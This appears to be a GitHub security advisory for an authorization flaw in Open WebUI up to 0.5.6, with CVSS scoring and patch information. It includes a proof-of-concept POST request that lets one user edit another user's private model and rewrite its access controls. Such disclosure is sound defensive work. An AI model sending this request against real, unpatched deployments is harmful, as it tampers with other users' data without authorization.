Open WebUI missing authorization check at the model update function - models from other users can be updated

Description

Summary

A user can modify another user's model even if its visibility is set to Private.
The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.

Details / PoC

The user Victim created a private model with the visibility set to private:
grafik

The user Attacker can edit this model using the following POST request:

POST /api/v1/models/model/update?id=aaabraaa HTTP/2
Host: domain.local
//Some headers removed
Te: trailers

{"id":"aaabraaa","base_model_id":"gpt-4o-POC","name":"testmodel","meta":{"profile_image_url":"/static/favicon.png","description":"","capabilities":{"vision":true,"usage":false,"citations":true},"suggestion_prompts":null,"tags":[],"toolIds":["test"]},"params":{},"user_id":"565c82e6-083f-42bb-bf0f-a4e214cfb9ad","access_control":{"read":{"group_ids":[],"user_ids":[]},"write":{"group_ids":[],"user_ids":[]}},"is_active":true,"updated_at":1737314575,"created_at":1737121281}

Request / Response
grafik

Impact

A user can modify another user's model even if its visibility is set to Private. By changing the access permissions during editing, unauthorized access can be gained.

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-05-14 20:21:38 UTC
Updated
2026-05-19 15:59:23 UTC
GitHub reviewed
2026-05-14 20:21:38 UTC
NVD published
2026-05-15 22:16:54 UTC

EPSS Score

Score Percentile
0.03% 8.76%

CVSS Scores

Base score Version Severity Vector
6.5 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:L)
A normal user session is enough; they don’t have to be admin.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:N)
Doesn’t really leak secrets in a meaningful way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-285 Improper Authorization

Credits

  • simioni87 (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip open-webui <= 0.5.6 0.5.7

References

cvelogic Threat Intelligence